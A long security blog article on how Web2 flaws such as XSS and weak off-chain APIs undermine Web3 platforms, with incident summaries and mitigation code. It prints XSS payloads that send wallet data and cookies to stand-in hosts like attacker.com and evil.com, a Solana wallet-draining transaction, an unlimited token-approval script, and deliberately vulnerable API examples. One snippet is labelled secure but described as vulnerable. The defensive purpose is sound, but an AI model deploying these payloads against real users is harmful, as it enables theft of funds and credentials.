Silent Killers: The Maginot Line Fallacy of Web3 Security - How Web2 Vulnerabilities Are Undermining the Promise of Web3 Security

Daniel AsaboroDaniel Asaboro
37 min read

In the 1930s, France constructed what military engineers considered impregnable: the Maginot Line. A network of concrete fortifications, weapon installations, tank obstacles, and underground bunkers. It spanned the French-German border and represented the pinnacle of defensive military technology.

No expense was spared—the equivalent of $9 billion in today's currency built a wall that could withstand any direct assault.

Yet when Germany invaded in 1940, they simply went around it, through the Ardennes forest that French generals had deemed "impenetrable." The Maginot Line became synonymous with false security—a perfect defence rendered meaningless by an attack from an unexpected or overlooked direction.

Today's Web3 security landscape mirrors this historic military blunder

In February 2025, cryptocurrency exchange Bybit suffered the largest single hack in digital asset history. A staggering $1.46 billion vanished in minutes. The North Korean hacker group TraderTraitor had executed a meticulous attack that bypassed multiple layers of security.

Despite Bybit's substantial investment in smart contract audits and cold storage solutions, the attackers found their way in through an unexpected vector: they compromised a Safe{Wallet} developer's device, infiltrated an AWS infrastructure, and manipulated the Safe{Wallet} interface to trick legitimate signers into approving a malicious transaction.

The Bybit incident was not a smart contract exploit or a cryptographic failure. It was a triumph of traditional Web2 hacking techniques against a Web3 platform that had forgotten to secure its conventional infrastructure components.

This pattern is not isolated. It is endemic.

The narrative that Web3 is inherently more secure than Web2—that decentralization automatically confers immunity to traditional attack vectors—has created a dangerous blindspot in the industry's security posture. While billions of dollars are poured into auditing smart contracts and developing zero-knowledge proofs, mundane but critical vulnerabilities in web interfaces, APIs, cloud infrastructure, and administrative systems are routinely overlooked.

The uncomfortable truth is that most Web3 projects remain inextricably dependent on Web2 infrastructure. Users access them through conventional browsers.

  • Developers deploy code from regular workstations.

  • Data travels over standard internet protocols.

  • Administrative interfaces run on typical web servers.

The decentralised layer may be revolutionary, but it rests upon foundations built with the same technologies—and suffering from the same vulnerabilities—as the systems Web3 was designed to replace.

This article examines two critical Web2 vulnerabilities that are regularly exploited in Web3 contexts:

  1. Cross-Site Scripting (XSS) in decentralised application interfaces, and

  2. API security failures in critical off-chain components.

Through detailed analysis of real-world exploits, technical deep dives into attack vectors, and practical mitigation strategies, we will demonstrate that true security in the Web3 ecosystem requires equal attention to both on-chain and off-chain components.

The promise of Web3 is genuine, but it cannot be fulfilled when half of its architecture remains vulnerable to decades-old attack techniques. It's time for the industry to confront this fundamental security gap.

The Current Landscape: Where Web2 Meets Web3

The Hybrid Reality of Decentralized Applications

The term "Web3" evokes images of fully decentralized systems operating entirely on-chain, free from centralized control points and traditional vulnerabilities. The reality is far more nuanced. Modern decentralized applications are complex ecosystems that span both decentralized and centralized components:

  • Frontend Interfaces: User-facing applications built with standard web technologies (HTML, CSS, JavaScript) that interact with blockchain networks through JavaScript libraries

  • Backend Services: Traditional servers that handle data aggregation, API services, and other functionality too resource-intensive for on-chain execution

  • Indexing and Data Services: Centralized systems that query and cache blockchain data to make it easily accessible to applications

  • Infrastructure: Cloud platforms, content delivery networks, and DNS systems that host and direct traffic to Web3 applications

  • Administrative Systems: Dashboards and tools for protocol governance, monitoring, and emergency response

  • Key Management Systems: Services for storing, managing, and using cryptographic keys

  • Bridges and Oracles: Systems that connect multiple blockchains or link blockchain data with external information

This hybrid architecture creates a complex security challenge.

While the blockchain components might be secured through consensus mechanisms, cryptographic verification, and formal audit processes, the Web2 components often receive less security scrutiny despite handling critical operations and sensitive data.

The Growing Web2 Attack Surface in Web3

The security blind spot is expanding along with the Web3 ecosystem itself. As projects race to improve user experience, add features, and scale their operations, they necessarily incorporate more Web2 components, each bringing its own set of potential vulnerabilities:

  1. User Interface Layer:

    • Cross-site scripting (XSS) vulnerabilities

    • Cross-site request forgery (CSRF)

    • Clickjacking attacks

    • Client-side storage exploitation

  2. Network Infrastructure:

    • DNS hijacking

    • BGP attacks

    • DDoS vulnerabilities

    • TLS configuration issues

  3. Backend Services:

    • API security flaws

    • Server-side request forgery (SSRF)

    • SQL injection

    • Remote code execution vulnerabilities

  4. Developer Operations:

    • Compromised deployment pipelines

    • Supply chain attacks through dependencies

    • Insecure CI/CD systems

    • Repository compromise

  5. Administrative Systems:

    • Weak authentication mechanisms

    • Insufficient access controls

    • Session management flaws

    • Privileged account compromise

  6. Organizational Security:

    • Social engineering vulnerabilities

    • Insider threats

    • Phishing susceptibility

    • Device and endpoint security issues

This expanding attack surface creates an asymmetric security challenge: defenders must secure all components, while attackers need only find vulnerabilities in one Web2 element to potentially compromise an entire Web3 system.

Why Traditional Vulnerabilities Are More Dangerous in Web3

The impact of Web2 vulnerabilities is uniquely amplified in Web3 contexts due to several factors:

  1. Blockchain Immutability: Unlike traditional systems where fraudulent transactions might be reversed, blockchain transactions are generally irreversible. A successful attack usually means permanent loss of assets.

  2. High-Value Targets: Web3 applications often directly control or influence the movement of significant financial assets, making them exceptionally attractive targets for attackers.

  3. Pseudonymous Environment: The pseudonymous nature of many blockchain interactions can make attacker attribution and recovery efforts more difficult than in traditional systems.

  4. Compressed Security Timeline: Traditional Web2 applications might have months or years to identify and patch vulnerabilities before they're widely exploited. In the Web3 space, exploits are often executed within minutes of discovery.

  5. Amplified Impact: Traditional data breaches typically require several steps before monetization (data exfiltration, identity theft, etc.). In Web3, a single compromised private key or contract interaction can immediately result in direct financial losses.

These factors transform otherwise "standard" Web2 vulnerabilities into existential threats for Web3 projects and their users. A cross-site scripting vulnerability that might lead to account compromise on a traditional website could result in permanent loss of million-dollar NFT collections or token holdings in a Web3 context.

The Chronicle of Overlooked Vulnerabilities

The past three years have witnessed a surge in attacks exploiting Web2 vulnerabilities in Web3 systems. These incidents form a clear pattern that the industry can no longer afford to ignore:

  1. March 2025: Time.fun Vulnerability Security researchers identified a vulnerability allowing backend components to sign arbitrary transactions from the frontend. This flaw could have enabled attackers to steal trading fees and modify token metadata across the platform.

  2. February 2025: Bybit Exchange Hack ($1.46 billion) North Korean hackers compromised a Safe{Wallet} developer's device, accessed AWS infrastructure containing configuration data, and manipulated the Safe{Wallet} interface. This UI manipulation tricked legitimate signers into approving a malicious transaction, resulting in the theft of approximately 400,000 ETH in a single irreversible transfer.

  3. January 2024: Orbit Bridge Exploit ($81.5 million) Attackers targeted the off-chain validator APIs of the Orbit Bridge, potentially exploiting vulnerable endpoints to sign arbitrary transaction data. The attack was facilitated by weakened firewall policies and insufficient access controls around validator infrastructure.

  4. September 2022: KyberSwap Frontend Exploit ($265,000) Hackers injected malicious code into KyberSwap's Google Tag Manager, allowing them to redirect user funds. The attack demonstrated how compromising a third-party service integration could bypass on-chain security measures.

  5. August 2022: Curve Finance DNS Hijacking ($570,000) Attackers used DNS cache poisoning to redirect users to a malicious website that looked identical to Curve's legitimate site. Users connecting their wallets to the fake site unknowingly executed transactions that transferred their funds to the attackers.

  6. March 2022: Ronin Bridge Hack ($625 million) North Korean hackers compromised private keys for five validator nodes through social engineering, allowing them to authorize fraudulent withdrawals. The incident highlighted weaknesses in off-chain key management and access controls.

  7. February 2022: Wormhole Bridge Exploit ($320 million) While primarily a smart contract vulnerability, the Wormhole incident also involved failures in deployment procedures and monitoring systems that allowed the attack to progress.

  8. August 2021: Poly Network Hack ($611 million) Attackers exploited centralized keeper components and weaknesses in the bridge architecture, demonstrating how vulnerabilities in off-chain components can compromise cross-chain asset transfers.

In each of these cases, the core blockchain protocols functioned exactly as designed. The exploits succeeded not because of flaws in consensus mechanisms or cryptographic implementations, but because Web2 components with privileged access to the blockchain were compromised through conventional attack vectors.

This pattern reveals a critical insight: Web3 security is fundamentally constrained by the security of its least secure component, which is increasingly likely to be a Web2 element rather than the blockchain itself.

Vulnerability 1: Cross-Site Scripting (XSS) in Web3 Interfaces

Cross-Site Scripting (XSS) has been a persistent vulnerability in web applications for over two decades, consistently ranking in the OWASP Top 10 Web Application Security Risks. In the context of Web3 applications, however, this familiar vulnerability takes on new dimensions of risk and impact.

The Anatomy of XSS in Decentralized Applications

XSS vulnerabilities occur when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to inject client-side scripts that execute in users' browsers. In Web3 contexts, these scripts can interact directly with connected wallets and blockchain networks, creating unique attack scenarios:

  1. Wallet Interaction Scripts: Injected JavaScript can call wallet APIs to initiate unauthorized transactions

  2. Token Approval Manipulation: Malicious code can request unlimited token approvals that grant attackers access to a user's assets

  3. Transaction Parameter Tampering: Scripts can modify transaction parameters (recipient addresses, amounts) before they're displayed to users

  4. Keylogger Implantation: XSS can be used to inject keyloggers that capture seed phrases or private keys when users enter them

  5. Phishing Overlay Injection: Attackers can create convincing overlays that mimic legitimate wallet interfaces to steal credentials

The impact of these attacks is significantly magnified in Web3 applications because:

  • Users typically have wallet extensions with privileged access to blockchain networks

  • A single transaction can irreversibly transfer substantial assets

  • Many dApps handle high-value transactions as part of their core functionality

  • Users have become accustomed to regularly signing transactions and connecting wallets

XSS Attack Vectors Unique to Web3

Several XSS attack vectors are particularly relevant to Web3 applications:

1. NFT Metadata Injection

NFT marketplaces and platforms that display NFT metadata are particularly vulnerable to XSS attacks. When an NFT's metadata includes HTML or SVG content, any embedded scripts can execute in the context of the marketplace:

<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
  <image href="x" onerror="
    fetch('https://api.opensea.io/api/v1/asset/0x123/1')
      .then(r => r.json())
      .then(data => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data))))
  "/>
  <text x="10" y="50">Malicious NFT</text>
</svg>

In this example, when a marketplace renders this SVG, it would leak information about other NFTs the user might own back to the attacker's server.

Many Web3 platforms allow users to add social media links to their profiles. These fields often have insufficient validation:

// Example from a vulnerable dApp
function validateTwitterLink(url) {
  // Only checks if the URL contains "twitter.com"
  return url.indexOf("twitter.com") !== -1;
}

// This would pass validation
// javascript:alert(document.cookie);void("twitter.com")

By bypassing such validation, attackers can inject JavaScript URIs that execute when clicked.

3. Transaction Simulation Interfaces

DApps that simulate transactions before execution often render transaction data in the UI. If this rendering is done unsafely, it can create XSS opportunities:

// Vulnerable code in a dApp transaction simulator
function displayTransactionData(txData) {
  document.getElementById('tx-details').innerHTML = 
    `<div>Sending ${txData.value} ${txData.token} to ${txData.recipient}</div>`;
}

// If txData.recipient contains malicious content, it would be executed

4. Message Signing Interfaces

Web3 applications often use message signing for authentication. Interfaces that display these messages can be vulnerable:

// Vulnerable message signing interface
function requestSignature(message) {
  document.getElementById('sign-message').innerHTML = 
    `<p>Please sign this message to authenticate:</p>
     <pre>${message}</pre>`;
  // Request signature from wallet
}

If the message contains malicious HTML/JavaScript and is rendered unsafely, it would execute in the context of the application.

Real-World Case Study: Blind XSS in Blockchain Protocol Admin Panel

One of the most dangerous XSS variants in Web3 contexts is Blind XSS, where the payload executes not in the attacker's browser but in the context of other users' sessions—often administrators with privileged access.

In 2023, a security researcher discovered a blind XSS vulnerability in a major blockchain protocol's administrative panel at a subdomain endpoint (subdomain.polygon.technology/panel/admin/search). This vulnerability allowed injection of JavaScript that would execute when administrators used the search function:

var a = await fetch('https://subdomain.polygon.technology/admin/users');
var req = await a.text();

var patt = /<a[^>]*href=["'](\/admin\/users\/[^"']*)["']/g;

while(match=patt.exec(req)){
  fetch('https://'+document.domain+match[1])
    .then(r=>r.text())
    .then(r=>fetch("https://attackerurl./?data="+btoa(r)));
}

This exploit could have allowed an attacker to:

  • Exfiltrate user payment methods and financial data

  • Steal authentication credentials

  • Access identity verification documents

  • View and potentially manipulate transaction histories

  • Extract information about protocol operations and controls

The severity of this vulnerability was amplified by the administrator's access to sensitive user data and financial operations. Despite the critical nature of this finding, the researcher noted that the company classified the vulnerability as "out of scope," illustrating the industry's tendency to underestimate Web2 security risks.

XSS in NFT Marketplaces: A Special Case

NFT marketplaces represent a particularly rich target for XSS attacks due to their handling of user-generated content and direct connection to high-value digital assets. These platforms typically allow users to:

  1. Create profiles with customizable fields (including social media links)

  2. Upload various file types, including SVGs that can contain embedded JavaScript

  3. Interact with smart contracts controlling valuable assets

A comprehensive analysis from Immunefi highlights how easily social media field validation can be bypassed in many NFT platforms:

"Sometimes, in social media fields, NFT marketplaces only require the user's Twitter username, as they append https://twitter.com/ before the user input. Don't let the UI scare you into thinking they've blocked all attack vectors here."

By investigating HTTP requests, researchers discovered that the parameter for Twitter handles could be replaced with a JavaScript URI, enabling XSS attacks.

SVG uploads present another significant attack vector:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
width="40px" height="40px" viewBox="0 0 50 50" style="enable-background:new 0 0 50 50;" xml:space="preserve">
<script>
  // Steal the user's connected Solana wallet address
  window.solana.connect()
    .then(response => {
      fetch(`https://attacker.com/steal?wallet=${response.publicKey.toString()}`);
    });

  // Check for valuable NFTs using Magic Eden's API
  fetch(`https://api-mainnet.magiceden.dev/v2/wallets/${response.publicKey.toString()}/tokens`)
    .then(r => r.json())
    .then(data => {
      fetch(`https://attacker.com/nfts?data=${btoa(JSON.stringify(data))}`);
    });
</script>
</svg>

When such an SVG is uploaded as an NFT asset or profile avatar, the embedded JavaScript executes in the victim's browser when the image is viewed, potentially compromising their wallet and assets.

The Web3 Wallet Heist: How XSS Enables Asset Theft

The most devastating consequence of XSS in Web3 applications is direct asset theft through unauthorized wallet interactions. In a proof-of-concept shared by Immunefi, an XSS payload could initiate wallet transactions:

// Using Solana wallet adapter
window.solana
  .connect()
  .then(connectAccount)
  .catch((err) => {
    console.error(err);
  });

function connectAccount(response) {
  const publicKey = response.publicKey.toString();
  send(publicKey);
}

async function send(publicKey) {
  try {
    // Create a Solana transaction
    const connection = new Connection("https://api.mainnet-beta.solana.com");
    const transaction = new Transaction();

    // Add a transfer instruction to the transaction
    transaction.add(
      SystemProgram.transfer({
        fromPubkey: new PublicKey(publicKey),
        toPubkey: new PublicKey('<ATTACKER-WALLET>'),
        lamports: 3 * LAMPORTS_PER_SOL, // 3 SOL
      })
    );

    // Set recent blockhash and fee payer
    transaction.recentBlockhash = (await connection.getRecentBlockhash()).blockhash;
    transaction.feePayer = new PublicKey(publicKey);

    // Request signature from wallet
    const signed = await window.solana.signTransaction(transaction);
    const signature = await connection.sendRawTransaction(signed.serialize());

    console.log(signature);
  } catch (error) {
    console.error(error);
  }
}

This script, when executed in a victim's browser through an XSS vulnerability, requests access to the user's Solana’s accounts and attempts to transfer funds to the attacker's wallet. While the user would still need to approve the transaction in their wallet interface, the code could be enhanced with social engineering techniques—for example, by waiting for the user to initiate a legitimate transaction and then swapping the parameters.

More sophisticated attacks could target token approvals rather than direct transfers:

// Malicious Solana token approval script
import { 
  Token, 
  TOKEN_PROGRAM_ID, 
  ASSOCIATED_TOKEN_PROGRAM_ID 
} from '@solana/spl-token';
import { Connection, PublicKey, Transaction } from '@solana/web3.js';

async function maliciousApproval(userPublicKey) {
  const connection = new Connection("https://api.mainnet-beta.solana.com");
  const tokenMint = new PublicKey("TokenMintAddress");
  const attackerTokenAccount = new PublicKey("AttackerTokenAccount");

  // Get the user's token account for this mint
  const userTokenAccount = await Token.getAssociatedTokenAddress(
    ASSOCIATED_TOKEN_PROGRAM_ID,
    TOKEN_PROGRAM_ID,
    tokenMint,
    new PublicKey(userPublicKey)
  );

  // Create approve delegation instruction for maximum amount (u64 max)
  const delegateAmount = BigInt("18446744073709551615"); // u64 max value

  const transaction = new Transaction().add(
    Token.createApproveInstruction(
      TOKEN_PROGRAM_ID,
      userTokenAccount,
      attackerTokenAccount,
      new PublicKey(userPublicKey),
      [],
      delegateAmount
    )
  );

  transaction.recentBlockhash = (await connection.getRecentBlockhash()).blockhash;
  transaction.feePayer = new PublicKey(userPublicKey);

  // Request signature and send transaction
  const signed = await window.solana.signTransaction(transaction);
  const signature = await connection.sendRawTransaction(signed.serialize());

  // Log success silently
  fetch(`https://attacker.com/log-approval?tx=${signature}`);
}

Once this approval is granted, the attacker can transfer tokens from the victim's wallet at any time without further permission, making it a particularly dangerous attack that may go unnoticed until the assets are actually stolen.

The Wormable XSS: Exponential Impact in Web3 Communities

A particularly concerning variant of XSS in Web3 contexts is the "wormable" attack, where the payload self-propagates across users. In one documented example, a malicious script would not only compromise the victim's account but also set their profile's social media link to the same XSS payload, creating a chain reaction:

const xhr = new XMLHttpRequest();
const url = "http://vulnerable.tld/profile";
xhr.open("POST", url);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
     console.log(xhr.status);
     console.log(xhr.responseText);
  }
};

const data = {
  "twitter": "javascript:fetch('https://evil.com/steal?cookie='+document.cookie);"
    + "document.querySelector('#update-profile').addEventListener('click', function(){"
    + "document.querySelector('#twitter-input').value = 'javascript:fetch(\\'https://evil.com/steal?cookie=\\'"
    + "+document.cookie);'});"
};

xhr.send(JSON.stringify(data));

In Web3 communities where users actively explore each other's profiles (particularly in NFT marketplaces and social platforms), such wormable XSS attacks could spread rapidly, potentially affecting thousands of users before being detected.

Mitigating XSS in Web3 Applications

Defending against XSS in Web3 contexts requires a multi-layered approach that addresses the unique characteristics of decentralized applications:

1. Content Security Policy (CSP) Implementation

A strict CSP can significantly reduce XSS risk by controlling which resources can be loaded and executed:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example.com; connect-src 'self' https://*.infura.io https://*.alchemyapi.io https://*.opensea.io; frame-ancestors 'none'; object-src 'none'

For Web3 applications, the CSP should carefully consider which blockchain providers and APIs need to be whitelisted while maintaining tight restrictions on script execution.

2. Context-Aware Output Encoding

All user-generated content should be properly encoded based on where it appears in the application:

// HTML context encoding
function encodeHTML(str) {
  return str.replace(/[&<>"']/g, function(match) {
    return {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;'
    }[match];
  });
}

// JavaScript context encoding
function encodeForJS(str) {
  return str
    .replace(/\\/g, '\\\\')
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r')
    .replace(/\//g, '\\/');
}

// URL context encoding
function encodeForUrl(str) {
  return encodeURIComponent(str);
}

3. Strict Sanitization of SVG Content

For platforms that allow SVG uploads, implement strict sanitization to remove potentially malicious elements:

function sanitizeSvg(svgContent) {
  // Remove script tags
  let sanitized = svgContent.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');

  // Remove event handlers
  sanitized = sanitized.replace(/\son\w+\s*=\s*["']?[^"']*["']?/gi, '');

  // Remove javascript: URLs
  sanitized = sanitized.replace(/\bhref\s*=\s*["']?javascript:[^"']*["']?/gi, '');

  // Remove data: URLs
  sanitized = sanitized.replace(/\bhref\s*=\s*["']?data:[^"']*["']?/gi, '');

  return sanitized;
}

For more comprehensive protection, consider using established libraries like DOMPurify with specific configurations for SVG content.

4. Secure DOM Manipulation Practices

Avoid innerHTML and other unsafe DOM manipulation methods in favor of safer alternatives:

// Instead of:
element.innerHTML = userProvidedContent;

// Use:
element.textContent = userProvidedContent;

// Or for more complex content:
const fragment = document.createDocumentFragment();
const div = document.createElement('div');
div.textContent = userProvidedContent;
fragment.appendChild(div);
element.appendChild(fragment);

5. Web3-Specific Input Validation

Implement strict validation for Web3-specific inputs, particularly for addresses, transaction parameters, and social media links:

// Validate Solana address
function isValidSolanaAddress(address) {
  try {
    // Solana addresses are 32-byte (256-bit) base58 encoded strings
    const publicKey = new PublicKey(address);
    return PublicKey.isOnCurve(publicKey);
  } catch (error) {
    return false;
  }
}

// Validate social media URL (example for Twitter)
function isValidTwitterUrl(url) {
  try {
    const parsedUrl = new URL(url);
    return (
      parsedUrl.protocol === 'https:' &&
      (parsedUrl.hostname === 'twitter.com' || parsedUrl.hostname === 'x.com') &&
      parsedUrl.pathname.length > 1
    );
  } catch {
    return false;
  }
}

6. Transaction Simulation and Preview

Implement secure transaction preview functionality that shows users exactly what will happen when they sign a transaction, using securely rendered interfaces:

function renderTransactionPreview(txData) {
  const container = document.getElementById('tx-preview');
  container.innerHTML = ''; // Clear previous content

  // Create elements safely
  const heading = document.createElement('h3');
  heading.textContent = 'Transaction Preview';

  // Extract the first transfer instruction (if present)
  const transferInstruction = txData.instructions.find(
    instr => instr.programId.equals(SystemProgram.programId) && 
    instr.data[0] === 2 // System Transfer instruction index
  );

  if (transferInstruction) {
    // For a transfer instruction
    const accounts = transferInstruction.keys;
    const fromAccount = accounts[0]; // Sender
    const toAccount = accounts[1]; // Recipient

    // Calculate the lamports (amount) from the instruction data
    // Transfer data format: [2, ...8 bytes for lamports]
    const lamportsBuffer = transferInstruction.data.slice(1, 9);
    const lamports = lamportsBuffer.readBigUInt64LE(0);
    const solAmount = Number(lamports) / LAMPORTS_PER_SOL;

    // Create and append recipient elements
    const recipientLabel = document.createElement('p');
    recipientLabel.textContent = 'Recipient:';

    const recipientValue = document.createElement('code');
    recipientValue.textContent = toAccount.pubkey.toString();

    // Create and append amount elements
    const amountLabel = document.createElement('p');
    amountLabel.textContent = 'Amount:';

    const amountValue = document.createElement('strong');
    amountValue.textContent = `${solAmount.toFixed(9)} SOL`;

    // Append all elements
    container.appendChild(heading);
    container.appendChild(recipientLabel);
    container.appendChild(recipientValue);
    container.appendChild(amountLabel);
    container.appendChild(amountValue);
  } else {
    // For other types of transactions
    const instructionLabel = document.createElement('p');
    instructionLabel.textContent = 'Program:';

    const instructionValue = document.createElement('code');
    if (txData.instructions && txData.instructions.length > 0) {
      instructionValue.textContent = txData.instructions[0].programId.toString();
    } else {
      instructionValue.textContent = 'Unknown program';
    }

    const typeLabel = document.createElement('p');
    typeLabel.textContent = 'Type:';

    const typeValue = document.createElement('strong');
    typeValue.textContent = 'Contract Interaction';

    // Append all elements
    container.appendChild(heading);
    container.appendChild(instructionLabel);
    container.appendChild(instructionValue);
    container.appendChild(typeLabel);
    container.appendChild(typeValue);
  }

  // Add transaction fee information
  const feeLabel = document.createElement('p');
  feeLabel.textContent = 'Transaction Fee:';

  const feeValue = document.createElement('span');
  feeValue.textContent = `~0.000005 SOL`;

  container.appendChild(feeLabel);
  container.appendChild(feeValue);
}

7. Regular Security Assessments

Conduct regular security assessments specifically focused on XSS vulnerabilities in Web3 contexts:

  • Perform automated scanning with tools configured for Web3-specific attack patterns

  • Conduct manual penetration testing focused on wallet interactions

  • Run periodic bug bounty campaigns targeting XSS in Web3 interfaces

  • Test with actual wallet extensions and blockchain interactions to evaluate real-world impact

8. Defense in Depth for Critical Operations

For particularly sensitive operations, implement multiple layers of protection:

// Example: Multi-factor confirmation for high-value transactions
async function initiateHighValueTransaction(txData) {
  // 1. Verify transaction parameters client-side
  if (!validateTransactionParameters(txData)) {
    throw new Error('Invalid transaction parameters');
  }

  // 2. Request server-side verification token
  const verificationResponse = await fetch('/api/verify-transaction', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      recipient: txData.to,
      amount: txData.value,
      nonce: generateNonce()
    })
  });

  const { verificationToken } = await verificationResponse.json();

  // 3. Display secure confirmation dialog
  displaySecureConfirmation(txData, verificationToken);

  // 4. Proceed with wallet interaction only after user confirmation
  // ...
}

By implementing these multi-layered protections, Web3 applications can significantly reduce the risk of XSS attacks and their potentially devastating consequences.

Vulnerability 2: API Security Vulnerabilities in Off-Chain Components

While Cross-Site Scripting attacks primarily target end-users, API security vulnerabilities in off-chain components represent a direct threat to the core infrastructure of Web3 systems. These vulnerabilities can allow attackers to compromise critical operations, bypass security controls, and directly access sensitive data or functionality.

The Critical Role of APIs in Web3 Architecture

APIs serve as the connective tissue between various components of Web3 systems, handling everything from transaction relay to data queries. In the Web3 ecosystem, these APIs often have elevated privileges to perform critical operations:

  1. Validator APIs: Endpoints that manage validator operations, including transaction signing and verification

  2. Bridge APIs: Interfaces that facilitate cross-chain transfers and message passing

  3. Indexer APIs: Services that provide optimized access to blockchain data

  4. Wallet APIs: Interfaces that manage key operations and transaction signing

  5. RPC Endpoints: Services that allow applications to interact with blockchain nodes

  6. Oracle APIs: Systems that provide external data to on-chain contracts

These APIs form a crucial but often overlooked part of the Web3 security perimeter. When compromised, they can provide attackers with privileged access to blockchain operations, potentially bypassing the security guarantees of the underlying blockchain protocol.

API Vulnerability Categories in Web3 Systems

Several categories of API vulnerabilities are particularly relevant to Web3 systems:

1. Improper Authentication and Authorization

Many Web3 APIs implement inadequate authentication mechanisms or fail to properly enforce access controls:

// Example of weak authentication in a validator API
router.post('/sign-transaction', (req, res) => {
  const apiKey = req.headers['x-api-key'];

  // Simple API key check without additional factors
  if (apiKey === config.apiKey) {
    // Proceed with transaction signing using privileged keys
    const signedTx = validator.signTransaction(req.body.transaction);
    return res.json({ signedTx });
  }

  return res.status(401).json({ error: 'Unauthorized' });
});

This implementation relies solely on a single API key, creating a single point of failure. If the key is compromised (through server logs, developer error, or social engineering), the attacker gains full access to transaction signing capabilities.

2. Lack of Input Validation

Web3 APIs often fail to properly validate inputs before processing them, particularly for transaction-related data:

// Properly secured Solana transaction relay endpoint
app.post('/api/relay-transaction', async (req, res) => {
  const { serializedTransaction } = req.body;

  // Deserialize and validate the transaction
  try {
    const transaction = Transaction.from(Buffer.from(serializedTransaction, 'base64'));

    // Validate transaction structure and contents
    const validationResult = await validateSolanaTransaction(transaction);
    if (!validationResult.valid) {
      return res.status(400).json({ error: validationResult.reason });
    }

    // Sign the transaction with the relayer key
    const signedTx = await signWithRelayerKey(transaction);

    // Submit to Solana network
    const signature = await sendSolanaTransaction(signedTx);

    res.json({ success: true, signature });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

Without proper validation, this endpoint might sign and broadcast malicious transactions that transfer funds to attacker-controlled addresses or execute unintended contract functions.

3. Server-Side Request Forgery (SSRF)

SSRF vulnerabilities allow attackers to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing, potentially accessing internal services:

// Vulnerable SSRF endpoint in a blockchain indexer API
app.get('/api/fetch-external-data', async (req, res) => {
  const { url } = req.query;

  // No validation of URL - could point to internal services
  try {
    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

In a Web3 context, an attacker could use this vulnerability to access internal APIs, metadata services, or configuration endpoints that might contain sensitive information like private keys or API credentials.

4. Rate Limiting Bypass

Many Web3 APIs implement insufficient rate limiting, allowing attackers to perform high-volume requests that could lead to denial-of-service or brute-force attacks:

// Basic rate limiting that can be easily bypassed
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // limit each IP to 100 requests per windowMs
  standardHeaders: true,
  legacyHeaders: false,
});

app.use('/api/', limiter);

This implementation has several flaws:

  • It applies a single limit across all API endpoints

  • It relies solely on IP address for identification (easily bypassed with proxies)

  • It doesn't account for the different sensitivity levels of various endpoints

  • It has no awareness of the blockchain context (e.g., transaction value or impact)

5. Insecure Direct Object References (IDOR)

IDOR vulnerabilities occur when applications expose references to internal implementation objects, allowing attackers to manipulate these references to access unauthorized data:

// Vulnerable API endpoint with IDOR
app.get('/api/wallet/:id/transactions', (req, res) => {
  const { id } = req.params;

  // No verification that the requesting user owns this wallet
  database.getTransactions(id)
    .then(transactions => {
      res.json(transactions);
    })
    .catch(error => {
      res.status(500).json({ error: error.message });
    });
});

In this example, an attacker could simply change the wallet ID in the URL to access transaction data for other users' wallets.

The Orbit Bridge Incident: API Vulnerabilities in Action

The Orbit Bridge incident from January 2024, which resulted in approximately $81.5 million in stolen assets, demonstrates the severe consequences of API security flaws in Web3 infrastructure.

The Orbit Bridge was designed to facilitate cross-chain asset transfers between various networks, including Ethereum, Ripple, and Arbitrum. Each transfer required signatures from a minimum number of off-chain bridge validators before funds could be withdrawn from the destination chain's vault contract.

Analysis of the validator codebase revealed concerning API design choices that likely contributed to the exploit:

// Vulnerable validation API endpoint
router.get("/validate/:migAddr/:sigHash", async function (req, res, next) {
    const mig = req.body && req.body.migAddr || req.params && req.params.migAddr;
    const sigHash = req.body && req.body.sigHash || req.params && req.params.sigHash;
    return res.json(await govInstance.validateSigHash(mig, sigHash));
});

This endpoint took parameters directly from the URL with minimal validation:

async validateSigHash(multisig, sigHash) {
    if(this.chainName !== "ORBIT") return "Invalid Chain";
    if(multisig.length !== 42 || sigHash.length !== 66) return "Invalid Input";
    const orbitHub = instances.hub.getOrbitHub();
    const validator = {address: this.account.address, pk: this.account.pk};
    let mig = new orbitHub.web3.eth.Contract(this.multisigABI, multisig);

    // ... proceeds to sign the hash using the validator's private key
}

The function performed only basic validation (checking the length of inputs) before proceeding to sign the provided hash with the validator's private key. This design created multiple security issues:

  1. Insufficient Authentication: The API had no meaningful authentication mechanism to verify the source of requests.

  2. Minimal Input Validation: The endpoint only verified the length of the hash, not its content or purpose.

  3. Dangerous Contract Address Parameter: The multisig parameter allowed the caller to specify which contract to interact with, potentially enabling the use of malicious contracts.

  4. Reusable Signatures Across Chains: Validators used the same private keys across multiple chains, meaning signatures generated on one chain could potentially be used on others.

  5. Public Exposure of Signatures: The Orbit Chain Vault contract made signature values publicly accessible through contract mappings.

The attack path likely involved:

  1. Generating arbitrary transaction hashes with malicious parameters (recipient addresses, amounts, etc.)

  2. Submitting these hashes to multiple validator APIs for signing

  3. Collecting the signatures and using them to execute unauthorized withdrawals from bridge vault contracts

In an official statement, Orbit Chain mentioned that "the attacker obtained the multiple validator signatures needed to carry out the transactions." The exploitation of validator APIs would explain how the attacker managed to acquire these signatures without directly compromising the validators' private keys.

The Time.fun Vulnerability: When Backends Trust Frontends

A similar pattern emerged in the Time.fun vulnerability disclosed in March 2025. Security researchers discovered that the platform's backend would sign arbitrary transactions from the frontend without proper validation:

The researchers noted: "All backends should never sign transactions coming from the frontend, regardless of how thorough the validation or simulation checks appear. These safeguards can be bypassed by obfuscating transactions or bundling/front-running transactions to alter their semantics."

The vulnerability allowed potential attackers to:

  • Steal trading fees from the platform

